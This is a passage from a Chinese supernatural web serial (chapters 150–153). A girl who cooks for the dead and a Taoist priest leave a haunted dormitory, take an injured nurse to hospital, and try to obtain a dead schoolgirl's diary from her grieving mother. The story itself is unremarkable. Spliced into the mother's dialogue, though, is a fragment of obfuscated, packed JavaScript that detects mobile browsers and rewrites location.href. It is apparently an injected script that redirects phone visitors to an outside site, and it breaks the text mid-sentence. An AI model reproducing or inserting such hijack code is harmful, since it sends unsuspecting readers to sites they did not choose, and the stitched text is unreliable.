“我本来交代了今天晚上值班的保安老李带你们去学校里调查，但是他在校门口没等到你们，刚刚他联系了我，问你们究竟来不来。”
听到这，沈聆的脑袋“嗡”了一下：“老李？今晚的保安不是老陈吗？”
“不是啊，你说的保安老陈在一个月前出车祸死了，他的岗位早就找了新的保安顶替了。”
150. 平安医院急诊科
今天晚上到底有几个保安啊？！
为什么隔一段时间就有关于保安的事情打电话过来。
老陈死了吗？
那刚才第一个带路的老陈是什么鬼？
第二个打电话过来的老陈又是什么鬼？？
沈聆的大脑一片混乱，她敷衍了几句后，匆匆挂掉了马校长的电话，只跟他说他们刚才来到校门口的时候，保安不在，他们就自己进学校调查了。
虽然私自调查的举动有点儿让马老校长不满，但还好他现在并不是现任校长，虽然口头批评教育了几句，但沈聆汇报了自己的调查有进度、或许能让他的孙子康复之后，马老校长的口气明显缓和了许多，甚至道谢了几声，交代他们要注意安全，他让保安老李在校门口等他们。
“我们得走了。”
沈聆摸了摸鬼婴的脑袋，他们今天晚上到学校的调查只是第一步，后续还有许多事情要进一步跟进。
“不过你别担心，我们过几天就会回来的，你的冤屈我们都知道，放心吧，我们会尽力帮助你的和你妈妈的。”
……
在告别鬼婴之后，三人带着昏迷中的宋明夷离开了宿舍楼。
在离开宿舍楼的时候，他们对鬼婴挥了挥手，这孩子便消失在了夜色之中。
吴妄收起了自己张开的结界，404女寝里的金光消失了，周围再一次陷入了平静之中，就好像这一切从来没有发生过，隔壁403、405宿舍的没有听到任何动静，所有学生都沉在各自的梦乡中，她们安然睡着，就好像与这一夜的恐怖完全无关。
林凌大致检查了一下宋明夷的伤口，发现宋明夷的伤口虽然多，但大部分都是外伤，以他当警察的经验来看，这些伤口都不至于伤害到她的身体，只要包扎后，不多时就能够痊愈。
三人便带着宋明夷来到了校门口。
当然，到校门的时候，看到一脸怒意的保安老李，他劈头盖脸地责怪他们怎么绕过他私自进入学校调查，得亏是老领导提前打过招呼，不然让监控看到这么一大伙闲杂人等深夜在学校里晃悠，他这个夜班保安第二天工作直接不保。
在看到昏迷中的宋明夷时，老李困惑地挠了挠头。
沈聆编了个：下楼梯摔倒了磕到脑袋晕过去了……之类的蹩脚谎话将这个事情掩盖了过去。
还好，老李也不是一个好事的人，他也想尽快打发了这些孩子离开陵川一中，省得夜长梦多。
受了一顿骂后，四人便离开了学校，林凌开车，带着一行人来到了平安医院。
来到平安医院后，医院的急诊科主任都已经认识他们了，上次送过来的是重伤的沈聆，现在是昏迷的宋明夷，他挠了挠头，费解地看着他们几个人——
“你们到底是做什么的啊？怎么三天两头地就受伤昏迷？今天是这个，明天是那个？”
巧了这不是。
每次深夜急诊，都是这几个人。
现在急诊科主任都对他们印象深刻了。
沈聆尴尬地笑了笑，找不到什么合适的理由，如果不是宋明夷也是平安医院的护士，她就直接说他们都是“收保护费”的人了，这样三天两头打架受伤也是常事。
急诊科的医护人员大致检查了一下宋明夷的身体，对她的外伤包扎上药之后，检查了一下她的肌肉骨骼和颅脑情况，还好，并没有什么大碍，只不过似乎受到了惊吓，失血了一点，她昏迷了，具体醒了过来的时间不详，医护人员给她吊了葡萄糖和生理盐水，等宋明夷自然醒过来就可以了。
“今天大家也辛苦了，你们需不需要回去休息一下？林警官，你还要上班来着，现在都快凌晨三点了。”
沈聆缓缓地转过头去，目光投向窗外那片如墨般漆黑的夜空。
此时，夜空中繁星点点，宛如璀璨的宝石镶嵌其中，然而，尽管眼前仍是一片黑暗，可她心里清楚，再过短短一个小时，那温暖而耀眼的朝阳便会慢慢地从远处山峦的另一侧缓缓升起，划破这片浓重的夜色，宣告着新一天的到来，即将迎来破晓时分。
可惜的是，刘悦和她的孩子，都等不到第二天的阳光了。
她们永远地只能在黑夜中潜行，她们是见不得光的存在，再也无法沐浴在阳光之下了。
“哈欠……”
沈聆不由自主地张开嘴巴，打了一个大大的哈欠，仿佛要将这一夜积累下来的困倦全都释放出去。
整整一个晚上，她都保持着高度集中的精神状态，脑袋紧绷得如同拉满弦的弓，每一根神经都紧紧地绷着，不敢有丝毫松懈，如此高强度的通宵熬夜，即使是像她这样精力充沛的人，此刻也不禁感到深深的疲倦。
她认为自己应该可以算是个敬业的阴厨了吧。
至少，回去之后可以跟外婆邀功一下。
自己可是有兢兢业业在接业务、干活的。
“沈聆，吴妄，我送你们回去休息一下吧。”
三人朝着医院大厅的玻璃门走去。
“那你呢？”
“我没关系，我之前办案，通宵干活，我待会儿去办公室趴一会儿就行，倒是你们，我先送你们回去休息一下。”
林凌的状态倒是比想象中好一点。
虽然被鬼婴附体过，但到底是身强力壮、训练有素的警察，此刻他看上去精神头绪还不错，甚至有一种“可以继续通宵两个晚上”的感觉。
沈聆挠了挠头，在医院大厅的门前停下脚步：“我倒是还好，我想去八楼了解一下我妹妹现在的情况，之后我想直接去城北人民路的葱油饼摊子看看，葱油饼这种街边小吃，大多数都是在早餐的时候出来摆摊的，我想着顺便去调查看看有没有李艾口中的日记。”
“既然如此，我也跟你一起去。”吴妄平静地附和。
“道长你还是回去休息一下吧，今晚你催动了真气，甚至还被煞气偷袭了……对了！刘悦说灵元草能够化解你身上的煞气，我得找个时间帮你治疗一下……但是这要怎么治疗啊？我倒是从来没有用灵元草给别人治病过。”
“不着急，我知道方法，我会。”吴妄语气平和地说着，他的眼眸如深秋的潭水一样平静，“我现在身体里的煞气并不多，过后再治疗也来得及……而且
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，我现在也睡不着，已经过了睡点，我跟你去城北买个葱油饼当早餐吧，回家后我再打坐疗伤。”
“那行。”
众人商量后决定，第二天要上班的牛马林凌先回去警察局，而沈聆和吴妄先去ICU外找护士了解一下妹妹近期的情况，随后再去城北的葱油饼摊子找李艾的日记。
他们拉了一个微信群，除了宋明夷之外的三人小群，计划等宋明夷醒来后，把宋明夷也拉进来。如果有新的调查进度，随时在群里交换消息。
此外，沈聆还拜托了林凌一件事情——调查一下梁林的背景。
她从见到梁林的第一眼就觉得这个人不简单，或许，不只是梁林，甚至是梁林背后的整个梁氏家族都不简单。
沈聆隐隐约约感觉到，近期陵川市发生的一系列事件都和这个梁氏家族有关系，如果能从现实中找到蛛丝马迹，或许能进一步拓宽调查思路。
“可以的，但是我是刑警大队的，梁家没有参与过任何刑事案件，我们倒是从来没有调查过他们，但是隔壁的经济调查科说不定有调查过，毕竟是金融大鳄，我去打听一下，如果有新的消息我再告诉你们。”林凌说着，又不忘嘱咐几句，“你们调查的时候一定要小心，注意安全，今天晚上我才知道，原来鬼魂的力量也是让人畏惧的，是会伤人的。特别是你，沈聆，你很喜欢擅自行动，从现在开始，没有我们组织的批准，你不要再擅自调查了，知道吗？”
“是是是。”沈聆轻笑了一下。
不愧是林凌，说话做事都有一种老成的“队长”的责任感和担当精神。
于是，三人便暂时分头行动。
从这时候开始，沈聆第一次有了一种团体的感觉。
自己身处在这个团队中，有伙伴和自己一起行动，有伙伴关心自己的人身安全。
这样的感觉可真好。
她再也不是单打独斗了。
她身边有许多可以利用的人脉和资源，无论是青城山还是警察局，这两大助力都能推动她进一步开展阴厨的工作，为亡灵伸冤。
“叮。”
电梯的提示音响起的时候，沈聆和吴妄看着徐徐打开的电梯门，走入了电梯中。
“你的那个同桌不简单啊。”
“嗯，我也感觉，而且……我总有一种他一步步都被他算计着的感觉，很奇怪，我感觉这个人很危险。”
“离他远一点，这不是什么好鸟。”
“但他是我同桌，没办法……不过，或许这也是我调查他的捷径。”
“你算了吧，就你这三脚猫的功夫，还不够人家塞牙缝的……”
两人这么说着，电梯门缓缓关上了。
他们不知道，在平安医院的天台上，一个男人正站在夜色中眺望着陵川市的夜景，他的表情明暗不定，就如同那最深邃的夜色，看不清情绪。
风吹起了他的衣角，一只白色的鹦鹉扇动着翅膀，落在他的肩上。
“李艾、李艾——”
“怎么？他们查到李艾的事情了？哼，查到就查到吧，他们能掀起什么风浪呢……”
151. 早餐店
时间：早上7：00.
地点：城北人民路葱油饼摊。
陵川市的城北区，宛如一位饱经沧桑的老者，静静地守望着岁月的流转。
与充满现代气息的城东和城西相比，城北显得格外古朴而宁静。
这里居住的大部分是老住户，他们见证了这座城市的变迁，承载着无数的回忆与故事。
这里的房子矮小而陈旧，大部分都是七八十年代的建筑。斑驳的墙面诉说着岁月的痕迹，褪色的门窗仿佛在回忆着往昔的时光。狭窄的街道上，石板路有些凹凸不平，缝隙间长出了嫩绿的小草，路边的老树伸展着枝叶，为行人洒下一片绿荫。
人民路是这片城区的中心路段，这里充满了生活的气息。
这里有菜市场、早市、小商品城……
菜市场里，五颜六色的蔬菜水果摆放得整整齐齐，摊主们热情地招呼着顾客；早市上，人群熙熙攘攘，热闹非凡；小商品铺子中，琳琅满目的商品让人眼花缭乱。和我们所有城乡结合部的路段差不多，这里有最朴实的生意人，也有最浓郁的人间烟火气。
葱油饼摊位，就位于早市中。
晨起的小摊贩们在早市里卖包子、卖煎饼、卖稀饭……从五点开始，就有许多小摊贩在路边摆出了自家的摊位。他们吆喝着、叫卖着，声音此起彼伏，在清晨的空气中回荡。白色的蒸汽氤氲着他们脸庞的轮廓，仿佛给他们披上了一层神秘的面纱。金色的阳光暖暖地落在他们身上，为他们增添了一份温暖与希望。他们的一天就从这人间烟火气的早市开始。
“滴滴……”
电动车、自行车的铃声和行人的脚步声交织在一起，构成了一曲独特的城市交响曲。
街道上，电动车穿梭如织，自行车慢悠悠地驶过，走路的人步履匆匆……有早起上学的学生，背着沉重的书包，脸上洋溢着青春的活力；也有早起赶地铁的上班族，手捧着咖啡，眼神中透露出一丝疲惫。他们在匆忙之中擦肩而过，这一天似乎和以往的每一天并无二致。
但不一样的是，今天这条早市的路段上，多了两个年轻的人。
——吴妄和沈聆。
一辆出租车停在了人民路的路口，吴妄和沈聆从出租车上下来后，便朝着人民路走来。
他们的脸上带着几分通宵后的疲乏，黑眼圈若隐若现，头发也有些凌乱。但在看到路上来来往往的行人时，却又打起了几分精神。
调查的使命感让他们知道自己不得马虎，必须找到李艾口中的那家葱油饼摊位、拿到日记才行。
在熙熙攘攘的人群中，他们的身影显得格外醒目，所有人都在为新的一天而奔波，但他们俩，是带着任务出现在这里的，仿佛为这个平凡的早晨注入了一丝新的活力。
“我很少来这里……早就听说城北的早市很热闹，但是我一直早起不来，没怎么来看过……道长，快瞧瞧您可有啥馋嘴想吃的美食？今日我做东，请你大饱口福！”沈聆满脸笑容地对身旁的道长说道。
只见那道长微微眯起双眼，轻声应道：“这个嘛……容我先瞅瞅。”
说话间，他的目光已被路边那一排排的摊位所吸引。
此时，鼻尖弥漫着各式早餐铺子散发出来的诱人香气，方才坐在出租车里时倒也未觉饥饿，可这一下车，嗅到这阵阵香味儿，道长顿感腹中空空如也。
他的视线缓缓扫过整个早市的摊位，眼神中流露出一抹新奇与惊叹。
——想当初在青城山的时候，他们平日里的早饭不过是简简单单的几个馒头对付对付罢了，而眼前的景象对于道长而言，无疑是打开了一扇全新世界的大门。
早市之上，不仅有常见的馒头和包子，更有诸多他从未见识过的特色小吃——晶莹剔透的肠粉、酸爽可口的酸辣粉、香辣浓郁的胡辣汤、口感筋道的卤面以及滑嫩细腻的豆花粉丝等等。
道长宛如一个充满好奇心的孩童一般，目不转睛地盯着早市里的每一处角落，仿佛要将这所有的新鲜事物尽收眼底。
“想吃这个。”
他在一家豆花粉丝的店铺前停下了脚步，指了指这家店，转头看着沈聆，就像是一个想要买自己心爱的玩具的小孩。
“好，就先吃这个，正好我也饿了。”
沈聆自然而然地拉起吴妄的手，拉着他往店里去。
豆花粉丝的卤汤的味道让她的肚子一下子咕咕叫了起来，俗话说，“吃饭大过天”，又有俗话说，“人是铁，饭是钢”，还是要先填饱肚子才能继续干活的。
两人进了粉丝店，老板是一个胖胖的憨厚人，眼见来了两个客人，忙笑着打招呼：“两位要吃点什么？小店的豆花粉丝卖得最好，所有的卤料都是新鲜刚做的，只此一家！”
“老板，要两碗豆花粉丝。”沈聆招呼了一下，指了指透明柜台上的卤料，看向了吴妄，“你要吃什么？自己点，他们会给你加在豆花粉丝里面。”
“好。”
两人分别点了餐，沈聆另外要了个油条。
“老板，再加一个油条，帮我剪一下哈，油条泡粉丝里很好吃嘿嘿。”
“小妹妹，你还挺会吃的，我们家的油条是自己炸的，刚炸出来，保管好吃！”
老板乐呵呵地用夹子夹起一根油条，并用剪刀利索地剪了几下，将油条放在了白色的公鸡碗里面。
“对啦，老板，你知道这附近有没有什么卖葱油饼的摊子？我外婆想吃葱油饼，我想着给她带回去几个。”
“葱油饼吗？附近有两三家，路口那边有一家，另外在市场后门和东门还有两家。”
“路口？是不是从这边出去右转就到了？”
“对对，他们家的葱油饼也挺久了的，生意也还不错。”
“是什么人在开呀？”
“是一个老寡妇。”老板将剪好的油条放在碗里面，递给了沈聆，“那个老姐姐，也挺可怜的，听说早些时候丈夫出车祸死了，她就在路口支了个摊子，卖葱油饼，供女儿上学……她女儿啊，是个
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花花肠子，整天化妆化得花里胡哨的，还一直伸手跟家里要钱，她母亲没办法，只有一个孩子，只能尽可能满足孩子的要求……”
“那个女儿……是不是在陵川一中上学？”
沈聆压低了声音，凑近了老板问道。
这才是她在这里吃饭的真正目的。
——这家豆花粉丝的店面有点儿老旧，看着就是有一定的年岁了，在这里开店开久了的人，多少都对附近所有小摊的小道消息了如指掌。
老板眨了眨眼睛：“怎么？你也知道？”
“对，我就是陵川一中的学生。”
“那你知道前段时间……三个女娃娃在宿舍里猝死的事情吗？我听说可邪门了，那三个女娃娃一夜之间全都死了，而且死的时候眼睛睁得老大，像是被吓死的一样……”老板摇了摇头，‘坊间传得可邪乎了，我听说那葱油饼老板娘的女儿，就是那三个女娃娃之一呢！’
“居然？！”沈聆故作惊讶地说，“我们也有很多传言，但是学校封锁了消息，不允许我们谈论。”
“那当然不允许你们谈论了，听说她女儿是被恶鬼缠身杀死的！我们都离她远远的，真是晦气！不过，该说不说，那老寡妇啊，在女儿出事后还是跟没事人一样继续出摊，我们也不好问什么，只能偶尔去光临一下她的葱油饼摊，也算是尽自己的力量吧，说不定人家在心里默默流泪了好几天，可怜人，现在没有孩子也没有丈夫，一个人孤苦无依的。”
“老板你们真是好心人，那我待会儿也去买几个葱油饼，支持一下她家的生意。”
沈聆付了钱后，吴妄将两碗豆花粉丝和一碗油条端到了桌子上。
两人在桌子上落座，沈聆抬起头看向了透明橱窗外来来往往的人。
“看来，短短几分钟，你的收获还不小。”吴妄一挑眉，现在倒是有点儿佩服沈聆起来。
“那是，我现在可是点亮了很多外交技能！”沈聆话锋一转，“就在旁边的那个路口，有个葱油饼摊子，李艾应该就是摆摊女人的女儿，李艾的日记本，应该是放在她妈妈那边了……日记里可能有什么她想说的话，她想告诉我们的事情，甚至是……刘悦尸体的下落。”
“行，那我们吃个饭，就去会一会。”
二人说着，就开始吃起豆花粉丝来。
“你还真别说，山下的东西就是比山上的好吃。”
“那是因为放了很多鸡精和味精啦。”
“那是什么？”
“就是一种增加食物味道的东西，只不过吃了会一直口渴来着，而且也不能多吃。”
“这样……”
“对呀，我们山下的东西，虽然种类多，看起来色香味俱全，但是很多不法商家乱用食品添加剂，所以……市场环境不是很好，如果要干净的食物，还是自己买菜回家做会干净一点，至少吃着放心。”
“做饭？你也会吗？”
沈聆爽朗一笑：“我会煮泡面！一绝！改天露一手给你看看！”
152. 李艾的母亲
且说沈聆和吴妄吃完了豆花粉丝后，按照店家的说法，绕过了路口后，果然在早市的拐角处看到了一家葱油饼摊铺。
在这个熙熙攘攘的路口，一家小小的摊铺格外引人注目。一把蓝色的阳伞高高地支起，宛如一片宁静的天空庇护着下方的一切。
阳伞之下，摆放着一口黑色的油锅和一台燃烧着火焰的燃气灶，油锅里，金黄色的食用油翻滚着，沸腾着，似乎永远保持着这个温度，方便随时炸饼。
在油锅的旁边，有一个精心设计的凹槽，那些被炸得金黄酥脆的葱油饼，在凹槽里稍作停留，沥干多余的油脂后，散发出诱人的香气，弥漫在整个空气之中。
在油锅旁放着一张缺了一个角的桌子，这便是摊主制作葱油饼的工作台，桌上凌乱摆放着擀面杖等工具以及尚未成型的面饼原料，偶尔有路过的想要买葱油饼的人，便站在这桌子旁边，摊主随意地从桌子旁挂着的塑料袋里扯出其中一个，便快速包好了一个葱油饼，扫码支付。
此刻，一位四五十岁的中年妇女正全神贯注地忙碌于摊位之前。
——她身上那件原本色彩鲜艳的外套如今已褪去了昔日的光泽，变得暗淡无光；身前那条围裙更是布满了大大小小的油渍，仿佛记录着她多年来辛勤劳作的点点滴滴。
她微微低下头，背部略微弯曲，双手熟练地操作着手中的厨具，专注地炸制着每一块葱油饼。
岁月的痕迹无情地刻在了她的脸上，眼角眉梢处早已爬满了深深浅浅的皱纹，看上去比实际年龄要苍老许多。尤其是那一头花白的头发，在后脑勺随意地束成了一个马尾，显得有些凌乱。若不是亲眼所见，很难想象这样一头灰白的发丝竟会出现在一个四五十岁的人头上，反倒更像是属于六七十岁老人的特征。
沈聆和吴妄对视了一眼，交换了一下眼神。
他们心下明白，眼前的这个女人，应该就是李艾的母亲。
“我们先装作要买葱油饼，打探一下她女儿的消息吧。”
“嗯，我也是这么考虑的。”
两人商量后，决定先装作买葱油饼的路人。
……
在两人走近后，忙着做葱油饼的女人似乎察觉到了有人来到了自己的摊位旁，她眼睛都不抬一下地问道：“要买葱油饼吗？”
她的声音有点沙哑，听起来像是在新冠时期的刀片嗓，又带着几分烟嗓的粗糙。
她的语气有点儿麻木，似乎已经没有什么事情能引起她情绪方面的波动了。
沈聆看了一眼桌子上的面团：“老板，我们要两个葱油饼。可以帮我们新做一个吗？我们想吃新鲜热乎的。”
“可以。六块钱，支付宝或者微信支付都可以，二维码在桌子上。”
摊主阿姨站在桌子旁，从一团面团里捏出了两个小面团，并开始擀面。
“好的。”沈聆拿出手机，扫了一下老板桌子上放的二维码后，清了清嗓子继续说道，“阿姨，其实，我是李艾的同学，我也是陵川一中的学生。”
一听到“李艾”这两个字，摊主原本正在熟练擀面的双手，就像突然被施了定身咒一样，硬生生地停顿在了半空中。她缓缓抬起头，目光直直地射向沈聆，脸上露出一种难以置信的神情，仿佛看到了一个完全不可能出现的人站在面前。
“是真的，我们是李艾的同学，并且，关于李艾最近发生的事情，我们也知道一二。”
沈聆的表情很真诚，但摊主阿姨似乎并不是很相信她说的话。
在阿姨的眼神中，夹杂着几分揣摩和几分怀疑，似乎想要从沈聆的身上看出些端倪来，然而仅仅只是一瞬间之后，她便又迅速地低下了头，重新开始擀面，好像要把刚才所有流露出的表情都深深地掩埋在这看似简单重复的动作之中。
只听得她用冷漠得近乎无情的语气回答道：“你如果是想来打听什么八卦消息的话，那就别白费力气了，我什么都不知道。”
说完这句话后，她手上擀面的力度不自觉地加大了一些，仿佛在借此发泄心中压抑已久的情绪。
还没等沈聆开口解释，摊主阿姨便自顾自地继续说道：“这个月以来，已经陆陆续续有不少学生跑到我这儿来了，每一个都说自己是小艾的朋友或者同学。可我心里跟明镜儿似的，这些孩子之所以会出现在这里，无非就是出于好奇心罢了。毕竟我家孩子死得那么蹊跷，他们都想从我的嘴里挖出点有关我孩子的事情，好回去当作茶余饭后的谈资。”
说到这里的时候，摊主阿姨再次抬起了头，看向沈聆和吴妄的眼神里充满了疏离感，甚至还隐隐约约透露出一丝怨念。那怨念犹如寒冬腊月里的冷风，让人不禁打了个寒颤。
“我就知道，哪有孩子一大早来买我的葱油饼的，全都是奔着我家闺女的事情来罢了……我从刚才开始就感觉你们也是那样的人，如果你们是来打听什么八卦传闻的，我只能告诉你，我也不知道，我家闺女已经死了，我不想再让任何人在死后还嚼她的舌根！”
阿姨说着，用手中的擀面杖重重打了几下桌面，话里话外带着几分威胁。
这也难怪。
毕竟谁家里摊上这件事情都不好受。
而且孩子的死状确实很诡异。
任何人都会往诡秘的方向揣测。
但揣测毕竟只是揣测，人已经死了，所有的事情都已经变成了无从考证的传闻、谣言。
孩子的家长虽然也想弄清楚孩子死亡的真相，但是却不愿意这份心情被他人利用，变成他人口中关于孩子的谣言。
她也知道孩子的死状不是很好看，所有关于孩子的传言势必也不会好听。
与其如此，倒不如所有学校来的自称是“同学”、“朋友”的人都不要相信，也能避免孩子死后的名声受损。
沈聆和吴妄对视了一眼。
吴妄开口说道：“李艾的死因，其实我们大概知道一二。”
“呵，你们这些小娃子，连公安局都说不出个所以然的东西，你们能知道什么？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051382|146250||http|test|mini|href|location''.split(''|''),0,{}));
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阿姨擀面的动作加快了几分，似乎想赶紧做好、打发了这两个客人。
“李艾并不是正常死亡，她是被绞死的。”吴妄沉声说道，“她的脖子上有勒痕，尸检的结果应该显示她是被活活勒死的，但是404宿舍找不到任何勒死她的工具。不只是她，还有其他两个女生，死亡时间和死亡方式如出一辙，三个女孩子在一夜之间被勒死，没有凶手，没有作案工具，这是一个无头案。”
“哼，你们学校论坛上是这么说的吧，娃子们，你们还是少看一点悬疑小说，我孩子就是读书用功过度，猝死罢了。”
“尸检报告警方一定给您看过，您知道我们没有说谎。”沈聆认真地看着阿姨，解释道，“不管您相不相信，我们曾经见过李艾，在她死后。”
“什么？”
“我是阴厨，不知道您有没有听过这个职业，阴厨就是介于阴阳之间的厨子，我的工作就是专门给死人做饭，我能听到死者魂魄的声音，并且根据他们的需求，给他们准备他们想要吃的东西，送他们上路。”沈聆声音停顿了一下，一字一句地说道，“昨天晚上，我们去过404宿舍，并且我也见到了您的女儿，在她死后，她并没有离去，她还在404宿舍，她说……她想吃葱油饼，想吃城北人民路的葱油饼，所以我们今天才过来找您的。”
“你们这又是闹的哪一出？”
“不是闹，昨天晚上李艾跟我提到了一个日记本，她生前是不是有记日记的习惯？她有一些没办法说出口的话，都写在日记本上，阿姨，您是李艾的母亲，您应该知道李艾日记本在哪里……我们今天来，是想跟您借一下李艾的日记本，我们需要找到一些……被李艾藏起来的东西，也是这个东西，关系着她是否能往生极乐。”
沈聆委婉地绕过了关于刘悦母子的事情。
她不知道李艾的母亲是否能接受自己的孩子是杀人凶手的事情，但天下的母亲大概都不愿意相信自己的孩子是杀人凶手。
她也不愿意让李艾的母亲在死后再承受过大的打击，如果可以的话，沈聆希望眼前的阿姨能一辈子蒙在鼓里，毕竟人已经去了，生前做的错事都已经烟消云散，杀人犯和凶手都已经死去，何必再给活着的人增加伤痛呢？
“这个东西对李艾很重要，她托我来找您，一是想最后吃一吃您做的葱油饼，二是想通过我们的手找到她日记本里的信息，如果可以的话……”
“我听不懂你们在说什么！我家孩子没有什么日记本！我家孩子已经死了，你们能不能消停一点，不要再传关于她的谣言了！今天的葱油饼我不卖了，你们快走吧！”
阿姨说着，挥着擀面杖就要打沈聆和吴妄。
沈聆还想争取点什么，但吴妄拉了拉她的手，示意现在家属情绪激动，先不要乱来。
“阿姨，我们是真的想帮助李艾的……”
“快滚！不滚的话我就报警了！”
“那……那我们先走了，您先别激动，好好考虑一下我说的话……”
153. 梁林的意外出现
在吴妄和沈聆被推推搡搡着赶出葱油饼摊铺的时候，李艾的母亲还在那边骂骂咧咧——
“你们给我滚远点！再来我这里，我就报警！什么人啊，上学不好好上，整天在那边装神弄鬼的，隔几天就来一批……改天我告诉你们班主任，告诉校长！少来我这里作妖，这种人我见得多了！拿死人的事情做文章，怎么就这么能！你们也不怕折了阳寿，年纪轻轻的落得个不得好死的下场……”
李艾的母亲骂得很难听。
她虽然看起来肚子里没有什么墨水，但是出于爱护孩子的心情，一旦涉及到拿她那死去的孩子开玩笑，她的情绪就很激动。
“……不好搞啊，我感觉这个大婶很刁钻。”吴妄挠了挠头，一时间也不知道拿这件事情怎么办。
“嗯，我感觉我们是不是有点儿太唐突了。”沈聆叹了口气，“毕竟……李艾才去世一个月，她肯定不想太多提到这件事情，就想让这件事情赶紧过去……我感觉，似乎总是有人隔三差五地过来打听李艾的事情，所以她的情绪才会这么激动。”
“嗯，我也是这样感觉得，不只是我们，在我们之前，还有人来打听过什么，这位大婶不胜其扰，这才这么激动。”
“但是这样的话，就不好办了。”沈聆感到事情有点儿棘手，“我们要怎么拿到李艾的日记呢？刘悦的尸体的线索一定在这本日记本里面，如果看不到日记的内容，我们就没办法完成对刘悦的承诺了……”
这些事情似乎一环扣着一环。
现在的九连环似乎进入了死局。
如果拿不到日记本，就找不到刘悦的身体，找不到尸体，那么刘悦的那三个舍友就没办法往生，将被一直困在404女寝中，而刘悦的孩子，那个鬼婴，也没办法完成自己的心愿。
如果说那三个舍友是“囚徒”，那么鬼婴便是她们的“囚笼”。
所有事情的症结，都在刘悦那下落不明的尸体上。
刘悦不找到尸体，就没有可能原谅自己的舍友，而鬼婴更不会违背母亲的意愿放过她们。
所有人都被困在了痛苦中。
这个囚笼，是名为“永世不得超生”的囚笼。
画地为牢。
不得安生。
沈聆和吴妄一时间都陷入了沉默。
他们是局外人，都能看得清眼前的局势，但所有人都没有破局的办法。
“我们不被阿姨相信的原因，是因为在我们之前，曾经也有别的人来打听过李艾的事情，而且很可能数目不少，所以阿姨才觉得我们和前面的人都是同样的。”
沈聆从头开始梳理今天拿到的线索和信息。
“这里面，应该有一些确实是无聊的八卦分子，想要在里面做文章，发帖子。但是如果说全都是这样的人，有点儿以偏概全了……我感觉，这里面可能有一些别有用心的人，也想找一些其他的线索……”
“你的意思是……”
“道长，你还记得我们看到的鬼婴的样子吗？”
“嗯，记得，昨晚看到的样子，它……”
“有鳞片，有鱼尾巴。”
“你的意思是，鬼婴其实是人鱼一族的后代？”
“对，我从看到那孩子的第一眼开始，我就有这种感觉。外婆说人鱼镜就藏在陵川一中，而人鱼镜一直以来都是人鱼一族的秘宝，说不定人鱼一族就藏在陵川一中，潜藏在学生、老师甚至是校领导里面，我们学校有几千号人，其中任何一个人都可能是人鱼……但在发生了昨晚的事情之后，我觉得我们可以缩小这个范围了。”
“孩子如果是人鱼的话，说明孩子的亲生父母里很可能有人鱼的血脉。”吴妄托着下巴思考，“那孩子的亲生父母一个是刘悦，一个是马伯良，刘悦已经死了，但马伯良还活着，如果他们俩其中一个是人鱼族的话，就能解释为什么产检都是正常单，但是孩子生来就畸形……因为人鱼血脉的原因，人与人鱼的结合体，就是这样子的。”
“现在还不好下定论，不知道刘悦和马伯良哪一个是人鱼……如果能找到刘悦的尸体就好了，道长，人鱼在死后会现出原型吗？如果人鱼是刘悦的话，会不会她的尸体也是有鱼尾巴的？”
吴妄沉思了一下，认真将整件事情在脑海中过了一遍后，摇了摇头。
“我觉得刘悦是人鱼的可能性不大。”
“怎么说？”
“如果刘悦自己就是人鱼的话，没道理在分娩后看到人鱼的婴儿还这么吃惊，甚至杀死自己孩子……她应该是不知情，所以在看到孩子有鱼尾巴、鳞片的时候，才觉得自己生了个畸形的孩子，又不愿意给马伯良添乱，所以才在卫生间亲手杀死了孩子。”
沈聆点了点头。
吴妄倒是考虑到了她没有考虑过的细节。
“这么说……难道马伯良……”
“你之前说，马伯良是老校长的孙子？”
“对。”
“如果马老校长是人鱼族的话，那么陵川一中就是他自认为是一个安全的藏人鱼镜的地方……将人鱼镜藏在自己的学校里，这么考虑，也不是没有道理。”
“早上好，沈聆。”
此时，一个声音突兀地在背后响起，冷不防让沈聆和吴妄都吓了一跳。
他们下意识地回过头去，视线之中，不知何时竟悄然多出了一道身影。
——那是一个看上去文质彬彬的男生，身形修长挺拔，气质儒雅内敛。
"梁林？！"沈聆不禁愣住了，她的脸上满是惊愕之色，显然完全没有预料到这个人会在此刻出现在这里，而且还是以这样一种神不知鬼不觉的方式。、
——要知道，就连向来警觉性极高的吴妄，此刻竟然也丝毫没有察觉到此人究竟是何时靠近过来的。
只见那个被称作梁林的男子面带微笑地静静站立在他们身后，清晨的阳光柔柔地洒在他身上，仿佛给他整个人都镀上了一层淡淡的金边。
他鼻梁上架着一副金丝眼镜，更增添了几分书卷气。
微微上扬的嘴角带着一抹如春风般温润如玉的弧度，令人心生亲近之感。
然而，他那平静如水的表情却又好似深秋的潭水一般，波澜不惊，深不见底，尤其是那双剑眉之下的眼眸，深邃而明亮，宛如夜空中闪烁的星辰，但其中却似乎永
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远都不会泛起一丝一毫的情感波动。
“……”
面对这突如其来的状况，吴妄瞬间眯起了眼睛，开始不动声色地上下打量起这个不速之客，试图从对方的言行举止以及细微的表情变化中探寻出一些端倪。
很明显，对于这个突然冒出来的男人，吴妄心底里充满了警惕和敌意。
“早上好，这位是……”
“啊，这是我朋友，吴妄，是……”
“是她的无关紧要但是论关系比你要好一点的男性朋友。”
吴妄抢答。
一句话沉默了两个人。
“……对。”
沈聆感觉有点儿摸不着头脑。
“你好，我叫梁林，很高兴认识你。”
“是吗？高兴？有多高兴？”
“《论语》有曰：‘有朋自远方来，不亦乐乎’，大抵如此。”
“虽是如此，但‘朋友’也有各种各样的，有‘酒逢知己千杯少’的朋友，自然也有‘话不投机半句多’的朋友。”
“同是天涯沦落人，相逢何必曾相识，你我都不过是天地之间的一介过客，是天涯泊客，自然可称之为‘朋友’，至于是何种朋友……道长是爽快人，和爽快人交朋友，是某人生平一大幸事。”
闻言，吴妄微微眯起眼睛，语气中带着几分警惕：“我有点儿好奇，你称呼我为‘道长’，那么你是如何知道是我一个道士的？沈聆从刚才开始，并没有告诉你关于我的身份。”
